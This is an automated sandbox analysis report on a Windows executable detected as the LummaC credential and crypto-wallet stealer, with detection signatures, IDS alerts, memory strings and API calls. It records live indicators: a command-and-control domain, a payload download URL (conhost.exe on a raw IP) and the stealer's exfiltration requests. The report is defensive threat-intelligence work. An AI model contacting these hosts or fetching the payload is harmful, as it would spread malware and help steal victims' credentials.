Edit tour

Windows Analysis Report
tyhkamwdmrg.exe

Overview

General Information

Sample name:	tyhkamwdmrg.exe
Analysis ID:	1566334
MD5:	949249a7efcd8c6fd21bc9ffe9ecfdbb
SHA1:	e335b63c7accfd306efb2cd83d3d669b915f6f15
SHA256:	bfffe1926c7463a2f8dca190e700a5ff390cb028edfe1bb80491aaf706520123
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

tyhkamwdmrg.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\tyhkamwdmrg.exe" MD5: 949249A7EFCD8C6FD21BC9FFE9ECFDBB)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: tyhkamwdmrg.exe PID: 6516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: tyhkamwdmrg.exe PID: 6516	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:28.956741+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.165.166	443	TCP
2024-12-02T01:38:32.429648+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.165.166	443	TCP
2024-12-02T01:38:34.885668+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.165.166	443	TCP
2024-12-02T01:38:37.708236+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.165.166	443	TCP
2024-12-02T01:38:40.178096+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.165.166	443	TCP
2024-12-02T01:38:43.327013+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.165.166	443	TCP
2024-12-02T01:38:46.485518+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.165.166	443	TCP
2024-12-02T01:38:51.123338+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:31.172104+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.165.166	443	TCP
2024-12-02T01:38:33.326916+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.166	443	TCP
2024-12-02T01:38:53.045615+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:31.172104+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:33.326916+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.165.166	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:44.522406+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	172.67.165.166	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-02T01:38:46.507999+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49737	172.67.165.166	443	TCP

HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 147.45.47.81

Source: global traffic

DNS traffic detected: DNS query: atten-supporse.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/
Source: tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/D
Source: tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/O
Source: tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.000000000167B000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307538342.000000000167B000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe
Source: tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe.
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: tyhkamwdmrg.exe, 00000000.00000003.1782305779.0000000004330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: tyhkamwdmrg.exe, 00000000.00000003.1926455278.00000000016C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1840142935.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307460310.000000000161E000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781818008.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1814194350.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781512942.00000000042EC000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147736437.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1859804227.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926372878.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1860075199.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api)
Source: tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api3
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api?
Source: tyhkamwdmrg.exe, 00000000.00000002.2308492418.00000000042F0000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1859804227.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926372878.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1860075199.00000000042EF000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147572056.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiE
Source: tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apia
Source: tyhkamwdmrg.exe, 00000000.00000002.2307730831.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147669542.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926422589.00000000016DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apig
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781818008.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1781512942.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apij
Source: tyhkamwdmrg.exe, 00000000.00000003.1840142935.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apimff
Source: tyhkamwdmrg.exe, 00000000.00000003.1758636587.00000000042EE000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758680740.00000000042EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apip
Source: tyhkamwdmrg.exe, 00000000.00000003.2147876254.00000000016C9000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1926455278.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307538342.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: tyhkamwdmrg.exe, 00000000.00000003.1730779933.0000000004341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758575659.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758762256.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758651551.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730779933.000000000433F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004313000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758575659.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758762256.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1758651551.0000000004338000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730779933.000000000433F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: tyhkamwdmrg.exe, 00000000.00000003.1730861886.0000000004313000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tyhkamwdmrg.exe, 00000000.00000003.1810811171.00000000042E4000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810875181.00000000042EB000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1810951398.00000000042F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: tyhkamwdmrg.exe, 00000000.00000003.1730442217.000000000432C000.00000004.00000800.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.1730502964.000000000432A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: tyhkamwdmrg.exe, 00000000.00000003.1783342318.0000000004406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49741 version: TLS 1.2

System Summary

PE file has nameless sections

Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:
Source: tyhkamwdmrg.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C634 NtClose,	0_2_0039C634
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C650 NtSetInformationFile,	0_2_0039C650
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C6B8 NtReadFile,	0_2_0039C6B8
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C710 NtCreateFile,	0_2_0039C710
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C7F0 NtProtectVirtualMemory,	0_2_0039C7F0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039CBD0 NtClose,VirtualFree,	0_2_0039CBD0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C028 NtCreateKey,	0_2_0039C028
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C070 NtEnumerateKey,	0_2_0039C070
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C0B0 NtSetValueKey,	0_2_0039C0B0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C180 NtNotifyChangeKey,	0_2_0039C180
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C1E0 NtQueryMultipleValueKey,	0_2_0039C1E0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C27C NtSetInformationKey,	0_2_0039C27C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C2E0 NtWriteFile,	0_2_0039C2E0
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C2C4 NtTerminateProcess,	0_2_0039C2C4
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C338 NtQueryObject,	0_2_0039C338
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C36C NtQueryDirectoryFile,	0_2_0039C36C
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Code function: 0_2_0039C3F4 NtDuplicateObject,	0_2_0039C3F4
